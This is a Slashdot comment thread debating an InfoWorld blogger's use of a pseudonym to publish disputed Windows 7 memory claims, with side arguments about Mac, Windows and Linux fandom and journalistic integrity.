      Apple doesn't criticize its competitors any more or less than everyone else does. Microsoft bashes Linux and mocks Apple. It's called business.

      I will say that Windows fans are the worst about platform wars. They'll insist that the stereotype of the arrogant Mac user who constantly bashes them is true, yet it's always the Windows users who start the bashing, usually from a bunch of morons who have never even touched a Mac. You can find it on nearly any message board...the usual uninformed "macs lol" drivel.

    31. Re:Reason by micheas · · Score: 1

      Let's see, who are the two groups of people who would make up lies about Windows 7, the best OS Microsoft has made? Hmmm, there's only two groups - can you think of them? Oh, right, Mac fanboys and Linux fanboys. Taking a guess and picking one of the two is NOT being off topic.

      But hey, why use common sense when you can just troll anyone who doesn't blindly bash Windows.

      People short MSFT would have a better reason to lie than the fan boys.

    32. Re:Reason by bonch · · Score: 2, Interesting

      Worried about what? The direction of computing today is mobile devices and online services, and Apple and Google have soundly defeated Microsoft there. Windows 7 is a relic of an outdated paradigm. It may end up being the last of desktop Windows as we think of it today.

      By the way, Windows is much older than 15 years.

    33. Re:Reason by node+3 · · Score: 1

      That was an observation, a bash would be: "Macs cannot play games". There is a difference.

      Um, no. You most definitely bashed Mac users. Specifically, by saying they bash Windows (and Linux, but I'm pretty sure Windows was what you mainly had in mind) instead of promoting the virtues of the Mac (which also excludes them from being able to promote the virtue of not being Windows, but I digress).

    34. Re:Reason by node+3 · · Score: 1

      A simple "no" would have sufficed as an answer for my last question.

      Here's a hint: disliking Windows does not make one a fanboy of anything. You'll notice I didn't call *you* a fanboy just because you are praising Windows, did you?

      But something you posted did make me laugh,

      Windows 7, the best OS Microsoft has made

      That's like saying the Twinkie is the best cake Hostess has ever made.

    35. Re:Reason by Totenglocke · · Score: 1

      And you totally missed the point about "what two groups of people have cause to spread lies about MS". I guess you were out sick they day they taught common sense in school.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    36. Re:Reason by Mongoose+Disciple · · Score: 1

      Apple doesn't criticize its competitors any more or less than everyone else does. Microsoft bashes Linux and mocks Apple.

      Yeah, those ubiquitous Microsoft TV commericals that are just 30 seconds of ragging on Linux without talking about their own product at all are hilarious! ... or it could be that only Apple really has commercials like that, and you're completely full of shit.

      Sorry, you can argue the merits of the products and operating systems if you want, but you can't argue the last few years of advertising campaigns to anyone who has even remotely been paying attention.

    37. Re:Reason by Anonymous Coward · · Score: 0

      That's simple. Money.

      I guess InfoWorld should relocate to South Carolina then.

    38. Re:Reason by node+3 · · Score: 1

      And you totally missed the point about "what two groups of people have cause to spread lies about MS".

      No, that's exactly my point. You're disparaging two groups of people solely because they disagree with your choice of OS.

      I don't call you a Windows fanboy, just because you like Windows (or are defending Windows, or whatever).

      And calling it "spreading lies" is a bit thick. If that's the case, everyone who has ever stated Macs only have one mouse button over the past decade and change have been lie-spreading Windows fanboys?

    39. Re:Reason by Anonymous Coward · · Score: 0

      \sarcasm
      Right, because apple.com has so much competitor bashing and so little product feature information. I don't even know what the iPod does, but I know "iPod rulez and Creative droolz" from Apple's website.

      Reality check: most Apple fan boys try to tell you that Apple is better, not that MS is worse.

    40. Re:Reason by Totenglocke · · Score: 1

      I call it "spreading lies" because that's what the guy in TFA was doing - making up lies about Windows 7 to make it look inferior to OS X or Linux. I'm also not "disparaging" anyone, I'm simply pointing out that you will only find people with a reason to make false claims about an OS in the fanboy camp of one of the other OS's. I'm not defending anything, merely pointing out that when you have 3 groups and one group is being attacked, it's pretty fucking obvious that it's a member of one of the other two groups.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    41. Re:Reason by node+3 · · Score: 1

      There's so much wrong with your post...

      I call it "spreading lies" because that's what the guy in TFA was doing - making up lies about Windows 7

      No, he stated that Windows 7 used more memory than XP. This is true. However, it's extremely misleading because that memory is being used as a form of cache.

      He didn't lie. He just seems to have been ignorant of how Windows 7 works.

      to make it look inferior to OS X or Linux.

      No, he made it look inferior to XP.

      I'm also not "disparaging" anyone

      The term "fanboy" *IS* disparaging.

      I'm simply pointing out that you will only find people with a reason to make false claims about an OS in the fanboy camp of one of the other OS's.

      That's not even remotely true.

      I'm not defending anything

      You're defending Windows 7 against "lying Mac or Linux fanboys".

      merely pointing out that when you have 3 groups and one group is being attacked

      There are many more than three groups from which to choose.

      it's pretty fucking obvious that it's a member of one of the other two groups.

      Even *if* there were only three groups, you haven't even shown that the person isn't from the same group being attacked. Specifically, a Windows user criticizing Windows 7. People criticize the products they prefer all the time.

      For example, do you think that everyone who falsely claims that the iPhone can't multitask are Windows Mobile or Android fanboys? It's an absurd position to hold.

    42. Re:Reason by dontmakemethink · · Score: 4, Funny

      Makes sense, he lies to get money, lies about money to get sex, then gets fucked.

      --

      War as we knew it was obsolete
      Nothing could beat complete denial
      - Emily Haines
    43. Re:Reason by freaker_TuC · · Score: 1

      I see, makes me wonder what he would lie about to get money?

      --
      --- I am known for the ones who want to find me on the net. Is that a privacy risk or a privilege? One might wonder..
    44. Re:Reason by Anonymous Coward · · Score: 0

      Where I come from, "original Nintendo" is another way of saying "full-sized Donkey Kong arcade game".

      Now get off my lawn.

    45. Re:Reason by Totenglocke · · Score: 1

      No, he stated that Windows 7 used more memory than XP. This is true. However, it's extremely misleading because that memory is being used as a form of cache. He didn't lie. He just seems to have been ignorant of how Windows 7 works.

      If he wasn't lying, then why would he create a fake name to hide behind for it? Last I checked, giving a legitimate criticism of an OS wasn't something that required anyone to use fake names for.

      The term "fanboy" *IS* disparaging.

      There are certain people who have a fanatical devotion to a company or platform - these people are the ones who would come up with lies about why the other product is inferior because of their almost religious devotion to their product of choice. That's not disparaging, that's just stating a fact about their views. I suppose you would also call labeling a Muslim a Muslim as "disparaging" or calling a Catholic person "Catholic" as disparaging.

      You're defending Windows 7 against "lying Mac or Linux fanboys".

      Wrong. I'm simply saying that there are two groups of people who would lie about Windows 7 - Linux or Mac fanboys. I'd say the same (and have plenty of times) if there were lies being spread against Linux and I'd say the same if there were lies being spread about OS X.

      Even *if* there were only three groups, you haven't even shown that the person isn't from the same group being attacked. Specifically, a Windows user criticizing Windows 7. People criticize the products they prefer all the time.

      Except he wasn't criticizing - he created an alias so that he could spread false claims about Windows 7. There's a difference between "I dislike X because of Y" and going out and intentionally misleading people into thinking your someone else so that you can say "X does Y" when Y is completely false. He was lying and was well aware of it or else he wouldn't have created the alias to hide behind.

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    46. Re:Reason by Anonymous Coward · · Score: 0

      I don't think Apple is that worried about Windows 7. Steve has already conceded on multiple occasions that MS has won the traditional desktop/laptop space. While Mac OSX isn't going away, it's clear it's not their main focus any more. The iPhone, iPad and I'm sure whatever follow up devices they have cooking are were Apple is moving - into new, unconquered territory. They single handedly turned the smartphone market on it's ear, and they are getting ready to explode into appliance computing and tap users (like my father) that have little use for a full blown computer but just want to do a set number of tasks. The personal/appliance computing market is even larger than the traditional computer market, and Apple not only firmly planted their flag their first, they are blowing the doors off of everyone else by their focus on total integration and the overall experience. As long as traditional tech companies try to focus on just features, or one or two areas they will loose to Apple. Apple covers and controls (and no, that's not a bad thing!) everything from the buying experience, to manufacturing of hardware (no dependency on IBM, Intel or anyone else for mobile CPUs - they own their own foundry!) , to software, to service - they have it all covered. They are far better than anyone else at paying fanatical attention to detail and the end user experience.

      The iPad will succeed for all the reasons the techies deride it. It's not a feature laden general purpose computer that is not suited to any one task well - it is extremely targeted and for what it is targeted at, it's experience will blow everything else away. With their own in house mobile CPU designs, clones and knock off's won't be able to source the same off the shelf parts and make it "good enough" with mediocre software. The gap is widening - if you want to catch up, never mind pass Apple you are going to seriously have to innovate now.

      So if you think Apple is concerned about Windows 7 your fooling yourself. That's where the puck was yesterday. They are sprinting to where the puck is moving - I would go so far as to say they are driving the puck forward. The iPod probably spawned the idea - the best kind caused by happy accident of circumstance. The iPhone confirmed the model was viable, the iPad is the first of no doubt many devices designed to utterly dominate personal/appliance computing. Each iteration built on the strengths (app store!) and success of the past, while incrementally growing and providing an instant market from the momentum of models before.

      I have a feeling we haven't seen anything yet. And I also am pretty positive five years from now most über geeks will still be just as clueless as to the source of Apple's success (no doubt childishly ranting about style over substance - still).

  3. The fraud was not in the claims about Windows by Anonymous Coward · · Score: 5, Insightful

    from what it looks like. Rather, it was about the identity of the blogger. It looks like he was a paid blogger for InfoWorld and a Windows performance analyst at the same time, and wrote the Windows memory consumption post under a pseudonym without disclosing the relationship to InfoWorld. It doesn't mean the memory consumption article's contents are faked or wrong. Its conclusions are disputed, but that's a a separate issue. The issue is disclosure of its authorship.

    1. Re:The fraud was not in the claims about Windows by Beelzebud · · Score: 2, Insightful

      To me it seems like there was fraud in both cases. He lied about his identity, and about how Win7 "hogs" memory.

    2. Re:The fraud was not in the claims about Windows by Anonymous Coward · · Score: 2, Insightful

      The bottom line is that the articles contents *ARE* wrong. Any attempt to divert attention from that fact is disingenuous.

    3. Re:The fraud was not in the claims about Windows by postmortem · · Score: 1

      Even if there is remote possibility that he didn't know better, it does not give him rights to spread rumors.

      With so many fake experts, no wonder truth is hard to come by. These 'experts' prey on gullible people who know nothing more than to blame Microsoft. Often they don't know much themselves.

      One good example is myth that you need to use System Configuration Utility msconfig utility to properly set up number of processors. That muth is truth on thousands of pages on internet. Although max number of processors is used by default, and msconfig option is meant only for troubleshooting, many idiots believe they 'improve performance' by setting same number of processors as it were without turning that on.
      For example:
      http://www.youtube.com/watch?v=bmUXx-szfJI - again advice is false.

    4. Re:The fraud was not in the claims about Windows by TheRaven64 · · Score: 4, Insightful

      No, he lied about his identity. He was just plain wrong about Win7. He's a liar and an idiot, but they're separate issues.

      Fortunately, my user CSS puts a big red [IDIOT WARNING] after any link to InfoWorld, so I didn't make the mistake of clicking on it and giving them some ad revenue.

      --
      I am TheRaven on Soylent News
    5. Re:The fraud was not in the claims about Windows by Beelzebud · · Score: 5, Insightful

      I really don't think it was a case of him merely "being wrong" about Win7. His software company sells a suite that is supposed to make Windows "run better". He had a direct motivation for lying about the performance of Windows. That's fraud in my book, and not merely "being wrong".

    6. Re:The fraud was not in the claims about Windows by postbigbang · · Score: 5, Informative
      --
      ---- Teach Peace. It's Cheaper Than War.
    7. Re:The fraud was not in the claims about Windows by Beelzebud · · Score: 1

      Wow just look at his comments. He's a real piece of work. No shame at all, and playing it off like he's independently wealthy from the software he sold/sells.

    8. Re:The fraud was not in the claims about Windows by Blakey+Rat · · Score: 1

      It doesn't mean the memory consumption article's contents are faked or wrong.

      To be clear, they *are* wrong. But this particular article isn't about that... there was one friday or yesterday discussing how wrong the memory consumption figures were.

    9. Re:The fraud was not in the claims about Windows by Anonymous Coward · · Score: 0

      Windows 7 *IS* a proven memory hog! Why deny the nose on your face??? What is the point of all this pre-loading nonsense when applications start in 1-2 seconds at most off hard disk. Just plain simply Microsoft didn't have anything better to do!

    10. Re:The fraud was not in the claims about Windows by Beelzebud · · Score: 1

      Too dumb to be a good troll.

    11. Re:The fraud was not in the claims about Windows by mschuyler · · Score: 1

      Why is this 'insightful'? It's completely wrong. I've been running 7 for awhile now with a constant monitor on CPU and memory. The memory sits at 1.3 gigs no matter what I do. The only time I have EVER seen it go to about 1.8 was when running a DVD backup image. It has NEVER gone to 50% (The machine has 4 gigs). CPU utilization has never to my knowledge gone above 25% and usually sits at 2-3%. The thing boots in 2 minutes flat and is capable of very fast mistakes. I don't run 25 windows open or anything, but I do throw some statistical crunching on it that I would have expected to take a few more cycles. I'm not raving on winblows, but compared to Vista and XP I am a bit surprised that it is working as well as it is. It's true that a gig machine would turn into a brick, but 4 gigs on a new machine is what? $100? I forget, but it's inconsequential.

      So, NO, it's not just a pseudonym that is the problem, it's also pseudo facts.

      Now back to my Linux servers so I can get some real work done.......

      --
      How about a moderation of -1 pedantic.
    12. Re:The fraud was not in the claims about Windows by Beelzebud · · Score: 1

      Because some people view operating systems like some people view sports teams, and they'll mod stuff up that is wrong, just to score points for their team.

      Then there are those of us that use whatever OS get's the job done. If that's Linux, great! If that's Win7, great!

    13. Re:The fraud was not in the claims about Windows by Endo13 · · Score: 1

      It's true that a gig machine would turn into a brick, but 4 gigs on a new machine is what? $100? I forget, but it's inconsequential.

      Actually, I think Win7 is tuned to use a certain percentage (with a specific maximum amount) of your memory to "preload" programs. A machine with less memory will also have considerably less tied up like that. Actual memory use as best as I can tell is very similar to XP.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
    14. Re:The fraud was not in the claims about Windows by thePowerOfGrayskull · · Score: 1

      Indeed. The summary reads as if he made up a fake person at a real company to which he had no connection. Truth is that he made up a fake person at a company that he owned, as a pseudonym. I think they're right in no longer keeping him on as a blogger (full disclosure and all that), but the /. summary makes it look like something much more serious than what actually happened.

    15. Re:The fraud was not in the claims about Windows by Anonymous Coward · · Score: 0

      Come on! Every news site has at least one Kdawson.

  4. Maybe Mr Kennedy ... by WrongSizeGlass · · Score: 4, Funny

    ... just had a memory problem of his own?

    1. Re:Maybe Mr Kennedy ... by TubeSteak · · Score: 1

      His should have spent the extra twenty bucks and bought ECC memory.

      --
      [Fuck Beta]
      o0t!
  5. Stay Glassy.. by greg_barton · · Score: 4, Funny

    Was he also CEO of Jukt Micronics?

    1. Re:Stay Glassy.. by Anonymous Coward · · Score: 0

      I wish you would stop saying that!

    2. Re:Stay Glassy.. by greg_barton · · Score: 1

      You're going down a path I CAN'T FOLLOW!

  6. More information by Anonymous Coward · · Score: 5, Interesting

    ZDNet, an InfoWorld competitor, was about to go public with an exposé on Randall C. Kennedy and Devil Mountain Software, but InfoWorld actually beat it to the punch by disclosing the matter itself.

    InfoWorld's editor in chief, Eric Knorr, should be commended for dealing this matter quickly and decisively when he discovered Mr. Kennedy's deception. At the same time, he should think very carefully about the series of decisions that led to this outcome.

    Randall C. Kennedy was an InfoWorld blogger known for his outrageous, inflammatory posts. Often these posts appeared to disregard the facts, overinflate the issues, or otherwise ignore the tenets of basic journalism in favor of sensationalism and manufactured furor. Doubtless InfoWorld appreciated the traffic such posts drove to its site. What it should have realized, however, was that beyond contributing to InfoWorld's success, Mr. Kennedy had a personal incentive for generating that traffic: promoting his own company, Devil Mountain Software. With that as his motive, he had far less incentive to consider InfoWorld's journalistic integrity when crafting his blog posts. Preserving that integrity was the job of InfoWorld's editorial staff. They failed to do so.

    Compounding the issue is InfoWorld's decision to partner with Mr. Kennedy on the "Windows Sentinel" project, InfoWorld's in-house branded version of Devil Mountain Software's exo.performance.network Windows monitoring product. The original post announcing Windows Sentinel is currently hidden behind a password, but the Google cache clearly shows that InfoWorld was aware that Mr. Kennedy was behind Devil Mountain Software all along:

    Today, I'm happy to announce the beta version of InfoWorld Windows Sentinel, a joint project with the exo.performance.network founded by InfoWorld Contributing Editor Randall C. Kennedy. ... According to Randall, the main point is "to develop a more concise picture of the Windows computing landscape.

    InfoWorld's editorial staff should have seen that allowing a contributor to use InfoWorld's brand to promote his own company's products and/or services constituted a conflict of interest at best, and at worst, a serious breach of InfoWorld's responsibility to provide truthful, unbiased reporting to its readers.

    InfoWorld needs to think very carefully about how to proceed in future if it hopes to recover its integrity after this incident. In an age where publications are under increasing pressure to demonstrate their power to drive revenue, it is more important than ever that editors take a stand for the paramount importance of high-quality, thorough, accurate reporting and editorials, untainted by financial interests or the pursuit of personal gain. InfoWorld stumbled by continuing to support Randall C. Kennedy when it should have, at the very least, questioned his judgment. It can and must do better.

    1. Re:More information by Nefarious+Wheel · · Score: 4, Interesting

      In an age where publications are under increasing pressure to demonstrate their power to drive revenue, it is more important than ever that editors take a stand for the paramount importance of high-quality, thorough, accurate reporting and editorials, untainted by financial interests or the pursuit of personal gain. InfoWorld stumbled by continuing to support Randall C. Kennedy when it should have, at the very least, questioned his judgment. It can and must do better.

      I suspect you are the editor of a publication in competition to InfoWorld. Your arguments are carefully thought out, your written English is impeccable, your paragraph construction is correct, you are careful with names and you're posting Anonymous Coward.

      Nothing wrong with all that (or anything wrong with your post) but it's a shame I can't add you to my friends list. I would have, for that post.

      --
      Do not mock my vision of impractical footwear
    2. Re:More information by WrongSizeGlass · · Score: 1

      I suspect you are the editor of a publication in competition to InfoWorld. Your arguments are carefully thought out, your written English is impeccable, your paragraph construction is correct, you are careful with names ...

      Based on your acute observations I suspect he meant to post on a sight other than /.

    3. Re:More information by Anonymous Coward · · Score: 2, Insightful

      He probably meant to post on a *site* where contributors know the difference between words like "sight" and "site".

    4. Re:More information by recoiledsnake · · Score: 3, Informative

      InfoWorld's editor in chief, Eric Knorr, should be commended for dealing this matter quickly and decisively when he discovered Mr. Kennedy's deception. At the same time, he should think very carefully about the series of decisions that led to this outcome.

      Wrong, looks like he knew all along.

      From http://talkback.zdnet.com/5208-10532-0.html?forumID=1&threadID=75498&messageID=1468379 [zdnet.com]

      IDG knew. Galen Gruman, Executive Editor of InfoWorld knew. As
      did Eric Knorr. And several others. But poor Gregg Keizer - hey,
      the man was looking for an anti-Microsoft angle at every turn, and
      he let his zeal get the best of him. I honestly never meant any
      harm, especially to Gregg.

      Slashdot should ban all articles from InfoWorld. After all, most of the anti-Vista fud articles posted here were written by Randall Kennedy.

      One example among the many: Windows 7 Benchmarks Show Little Improvement On Vista http://tech.slashdot.org/article.pl?sid=08/11/11/0110251

      --
      This space for rent.
    5. Re:More information by macintard · · Score: 1, Funny

      Come on Infoworld, you need to learn a thing or two from Cnet! If you're going to have a writer make dubious claims, pimp his own software, and bash Microsoft repeatedly, at least have them do it openly! http://news.cnet.com/openroad/

    6. Re:More information by recoiledsnake · · Score: 1

      Or he or she's copy pasting from another site, which I think is more likely.

      --
      This space for rent.
    7. Re:More information by irockash · · Score: 3, Funny

      Based on your acute observations I suspect he meant to post on a sight other than /.

      I'll say...

    8. Re:More information by shermo · · Score: 1

      So you're saying that because he didn't make any grammatical mistakes he must be a professional editor?

      Yeah, you're probably right.

      --
      Insanity: voting in the same two parties over and over again and expecting different results
    9. Re:More information by Anonymous Coward · · Score: 0

      I'm going to further speculate that the person who authored that post also wrote the report that exposed Kennedy and his various outfit. The writing style is very similar to that seen in the article, as does the tone.

      If that is the case, I would like to say that the article was extremely well-written and I applaud the amount of research and investigation done on the issue. The only thing that I'm wondering about is the motive for all of this. Did Kennedy somehow want information on thousands of PCs for some reason? Or did he just want some limelight and attention?

    10. Re:More information by quisxt · · Score: 1

      The editor clearly knew "all along" because an admitted liar says he knew all along? Don't you see the problem with that kind of logic?

    11. Re:More information by baegucb · · Score: 1

      I took a look at coiledsnake's comment and noticed something odd
      http://news.slashdot.org/comments.pl?sid=1558288&cid=31224858

      There are 3 links in his comment, and all to frequent submitters of stories that get put up on slashdot.

      One link: http://tech.slashdot.org/article.pl?sid=07/11/23/1710245
      submitted by "Stony Stevenson"

      Another link: http://tech.slashdot.org/article.pl?sid=08/09/02/1418252
      submitted by snydeq which links to http://www.infoworld.com/

      and another link: http://tech.slashdot.org/tech/08/08/18/2016228.shtml
      submitted by CWmike which links to http://www.computerworld.com/

      Why would these frequent story contributors link their nick to publications? (hope I got the links right)

    12. Re:More information by dbIII · · Score: 1

      Randall C. Kennedy was an InfoWorld blogger known for his outrageous, inflammatory posts.

      It worked for "system idle process is eating my CPU" Dvorak so maybe they though this would work too.

    13. Re:More information by Anonymous Coward · · Score: 0

      Hah hah! You wrote "blog" and "journalistic integrity" in the same sentence!

    14. Re:More information by Cabriel · · Score: 1

      Even a stopped watch is right twice a day. Just because he's an admitted liar doesn't mean his statements should be disregarded. It only means double-checking them is more important than it would otherwise be.

    15. Re:More information by dontmakemethink · · Score: 1

      I suspect you are also the editor of a publication in competition to InfoWorld. Your arguments are carefully thought out, your written English is impeccable, your paragraph construction is correct, yet you failed to make a single joke about the clear conflict of interest, ruined it for the rest of us, and even gave credence to it by kissing his butt.

      You can and must do better.

      --

      War as we knew it was obsolete
      Nothing could beat complete denial
      - Emily Haines
    16. Re:More information by AVee · · Score: 1

      Well, lets say they weren't really keeping up with then news if they didn't notice that this "Devil Mountain Software" company (who's software they distribute and who's founder they employ) suddenly had a new CTO in lots of publications, some of them rather in the spotlight. Especially because it appears to be a one man business ran from his home. (Which is fine, but a shop like that doesn't suddenly have a CTO).

    17. Re:More information by oji-sama · · Score: 1

      That is true, but considering that there are plenty of other less inflammatory writers, disregarding statements from an admitted liar is perhaps more cost effective.

      --
      It is what it is.
    18. Re:More information by Nefarious+Wheel · · Score: 1
      (sigh) nope. I failed the AC test by posting under my own name.

      I'll go back to farming Saronite now, thanks.

      --
      Do not mock my vision of impractical footwear
    19. Re:More information by Anonymous Coward · · Score: 0

      I worked for IDG for four years till I quit recently. Not in the US, another country, but I agree that IDG has changed a lot. The "page view" is the only important metric, quality of reporting be damned. We were often stopped from doing in depth coverage, and the bosses (not the editors, they were pretty good, more the management sorts) would try and get the story to be controversial. It got to the point where the better journalists started leaving. I'm not saying that I was that good, but I left a few months after some others whom I respected quit.

      Sad to see IDG become an attention hungry scandal house. It used to be very good, back in the day.

  7. Windows 7 is pretty good. by Anonymous Coward · · Score: 1, Interesting

    I upgraded from XP to Windows 7 and I like it. Everything seems to install/load/work a lot faster. It was pretty cool for $120 that I got both 32 and 64-bit versions.

    1. Re:Windows 7 is pretty good. by elbiatcho1 · · Score: 1

      It was my idea... and I should be getting a royalty check from Microsoft.

    2. Re:Windows 7 is pretty good. by Anonymous Coward · · Score: 0

      I upgraded from 32 bit Linux to 64 bit Linux. Everything works smoothly and near instantaneously as usual. It was pretty cool for $0.00 I got 32 and 64 bit versions.

    3. Re:Windows 7 is pretty good. by Anonymous Coward · · Score: 0

      I live in Somalia, and I got my Win7 for the same price as you paid for your Linux. Both the 32 and 64 bit versions.

  8. Good for them.. by FartKnockerz · · Score: 0

    While I have never considered InfoWorld the pinnacle of journalism nor anything more than a regurgitation machine, I say good for them.

    It takes balls to publicly retract something like this.

    However, the 'damage' to InfoWorld's 'credibility' with Mr. Kennedy as a contributor/blogger is immense. They washed their hands of him faster than a John squirting himself with hand sanitizer after a nasty romp with a meth-induced hooker.

    I am somewhat mystified how Mr. Kennedy thought that spreading FUD would actually help his career. Interesting tact..

    1. Re:Good for them.. by Endo13 · · Score: 4, Insightful

      I am somewhat mystified how Mr. Kennedy thought that spreading FUD would actually help his career. Interesting tact..

      It did, until those pesky things called "facts" got in the way.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
    2. Re:Good for them.. by jwietelmann · · Score: 1

      And what's really infuriating is that monetarily, he probably still comes out of this better off than if he hadn't done it at all.

      I honestly could care less about the pseudonym thing. The misrepresentation of what his software does, its handling of personally identifiable information, and his erroneous conclusions based upon the data collected are the real credibility killers. I mean seriously, if you're an "expert" then why don't you understand disk caching?

    3. Re:Good for them.. by Anonymous Coward · · Score: 0

      Because you really only have to get away with it long enough to make the cash you'd need to disappear off the map and flee to a country without an extradition treaty.

      You're thinking it through as an honest person, not as a crook.

  9. So what about Gregg Keizer? by JoshuaZ · · Score: 4, Interesting

    According to the linked reports (both those in the summary and this one at ZDNet- http://blogs.zdnet.com/BTL/?p=31024) the only reporter for InfoWorld who "Barth" was quoted by was Gregg Keizer. This raises a question: Did Keizer know about this deception? And if not, how did he get contacted by Barth initially? It is possible the Keizer was deceived but some sort of answer would be nice.

    1. Re:So what about Gregg Keizer? by recoiledsnake · · Score: 1

      From http://talkback.zdnet.com/5208-10532-0.html?forumID=1&threadID=75498&messageID=1468379

      IDG knew. Galen Gruman, Executive Editor of InfoWorld knew. As
      did Eric Knorr. And several others. But poor Gregg Keizer - hey,
      the man was looking for an anti-Microsoft angle at every turn, and
      he let his zeal get the best of him. I honestly never meant any
      harm, especially to Gregg.

      Looks like he just got trolled, just like many people here at Slashdot, which faithfully published all the anti-Vista fud spouted by "Barth".

      One example among the many: Windows 7 Benchmarks Show Little Improvement On Vista http://tech.slashdot.org/article.pl?sid=08/11/11/0110251

      --
      This space for rent.
    2. Re:So what about Gregg Keizer? by Beelzebud · · Score: 1

      What's amazing is his lack of shame. Reading through his comments there is pretty amazing. The best part is when he brags about the particular branch at Morgan Stanley that uses his software, and is met by the znet editor thanking him for that info so he can pass it along to Morgan Stanley.

  10. Let me guess by oldhack · · Score: 1

    Seems like the guy thought it was just a white lie.

    I'd guess this guy's never done academic research. The profs in my school days would go mega fundy when it came anywhere near the notion of research integrity. They took crap on our GPAs every nown and then to make examples, and burned the notion into our heads.

    --
    Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
    1. Re:Let me guess by oldhack · · Score: 1

      Touche! Now let me go brush my teeth. I mean wash my hand.

      --
      Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
  11. Looks like karma by Anonymous Coward · · Score: 2, Insightful

    And what about Ballmer/MS saying don't use linux because they violate 200 patents? All sorts of people have asked which patents, a simple question to answer, so if they are valid it can be fixed, yet from MS..crickets. One blog post versus the head guy of Microsoft spreading stories? How much have all the various Linux companies and Linux professionals all over the planet been hurt by his statements, and by MS actions over the years?

    I'm not defending this blogger at all, far from it, that was a shitty thing to do, but let's put this whole thing into some perspective. MS has been the big bully for years and years and years, they got to where they are now by some pretty questionable behavior, behavior that has not ever stopped, despite even governments getting on their case about it.

    We wouldn't even be reading about this blogger if these governments had done what needed doing years ago, bust that company up, shake them up hard so they stop being so "ethically challenged".

  12. Funny, I hired him for a job once by Anonymous Coward · · Score: 3, Informative

    We used to use him to cobble up sales plans. He'd do some performance reports under a pseudonym, quote these fake 3rd parties in a report, then we'd produce a whole range of sales materials quoting all these 'different' sources and the roll up.

    Took the analysts about a year to figure out that it was just one guy. Which was fine because the guy was hard to handle. He was like a teenager. When we fired him, he turned into a big problem.

  13. First "Can I have his job" post! by tomhudson · · Score: 1

    ... because I can troll^wblog with the best of them :-)

  14. NEWS! Slashdot doesn't check facts, gets letter. by History's+Coming+To · · Score: 3, Funny

    So Slashdot posted a second hand story from another site with a (potentially) misleading headline, without checking the facts, because it would drive traffic? And now they've had a letter from a lawyer? Big surprise. I'd be proud to get banned for this post.

    --
    Please consider this account deleted, I just can't be bothered with the spam anymore.
  15. HAHAHAH ASSHOLE. by Jackie_Chan_Fan · · Score: 0, Flamebait

    Hope microsoft sues him.

  16. Gregg Keizer says no by Anonymous Coward · · Score: 0

    Keizer's personal take on the situation can be read here.

    1. Re:Gregg Keizer says no by JoshuaZ · · Score: 2, Interesting

      Which is interesting but never addresses how Keizer ever got in touch with Barth. Did Barth email him out of the blue? Did Keizer contact him on Kennedy's recommendation? It simply strains credulity that the one outlet used by Barth would happen to be a reporter who worked with Kennedy. The're some sort of details we are missing here. And the fact that Keizer doesn't explain those aspects in the above piece doesn't help us much.

    2. Re:Gregg Keizer says no by Beelzebud · · Score: 1

      Agreed. It doesn't bode well for Mr. Keizer's credibility, and this is exactly why it's important to make damn sure you know who your professional contacts are. Reputations take a lifetime to build up, and only a few minutes to completely destroy.

      He really hasn't explained how he became duped this badly in a satisfying manner.

    3. Re:Gregg Keizer says no by Anonymous Coward · · Score: 0

      It is worth noting that while Mr Keizer's response makes mention of the lies told by Kennedy, it also goes to some length to subtly (and not so subtly) promote Kennedy and offer appologies for his lies (all while seemingly being perturbed by them).

      It would not be surprising to find out that Keizer knew about this all along, and this follow-up piece is intentionally written to walk a very fine line between apology, denial of involvement, seeming outrage at being duped, and promotion / spin for Kennedy.

    4. Re:Gregg Keizer says no by Beelzebud · · Score: 1

      Well and Kennedy is claiming on his blog that Mr. Keizer and the rest of the staff knew he was using the pseudonym for years. For me personally I really wouldn't trust anyone involved in this little scandal.

  17. Slashdot get trolled, news at 11 by beakerMeep · · Score: 4, Informative

    I wonder if Slashdot will follow up on the anti-adobe fake-flash-developer cant-handle-mobile-development-becuase-there-are-no-roll-overs troll that's further down? Yeah unlikely.

    --
    meep
    1. Re:Slashdot get trolled, news at 11 by recoiledsnake · · Score: 2, Interesting

      Roughly Drafted is a known troll. That site got banned from Digg for trolling.

      --
      This space for rent.
    2. Re:Slashdot get trolled, news at 11 by Anonymous Coward · · Score: 2, Insightful

      The management of Slashdot doesn't give a fuck about journalistic integrity. It's so obvious that it makes me sick.

  18. Re:NEWS! Slashdot doesn't check facts, gets letter by recoiledsnake · · Score: 1

    Letter from a lawyer? What?

    --
    This space for rent.
  19. Oh, God by symbolset · · Score: 1

    Give it up already. Vista's a goner. Put him on the cart. Let it go man, cuz it's gone. Requiem. R.I.P. Hasta la Vista baby. Well, bye.

    If you must, keep an install CD in your bedroom and take it out and fondle it on those lonely nights when you're sobbing in your beer thinking of what might have been. But for God's Sake, leave the rest of us alone about it. You're embarassing yourself. It's awkward.

    --
    Help stamp out iliturcy.
  20. Re:Doesn't make memory usage good though. by Eskarel · · Score: 1

    Mate welcome to the 21st century, linux Without X uses more than 256 MB depending on driver load, forget X plus gnome or KDE and compiz and all the stuff it takes to look shiny like Windows.

  21. Re:Doesn't make memory usage good though. by im_thatoneguy · · Score: 3, Interesting

    Were you needing that memory for something else and when you did, did Windows 7 not give it up immediately?

    I see these sorts of posts all the time and wonder what exactly it is that all these people want unused RAM for. I payed for it. I want it in use dammit! And unless you're on a notebook there is no reason to not have 4-8GB of RAM. Even DDR3 RAM is now less than $20 a gig. So what you're saying is no OS should use more than $5 of RAM?

  22. Yup... by recoiledsnake · · Score: 5, Informative

    That guy was behind a lot of anti-Vista FUD, especially stuff that was reported here on Slashdot.

    Some samples here:

    http://tech.slashdot.org/article.pl?sid=07/11/23/1710245
    Researchers Sour on Vista Service Pack 1 Performance

    Researchers from the Devil Mountain Software group is claiming that a series of in-house benchmark tests showed that users hoping to receive a speed boost from the update will be disappointed.
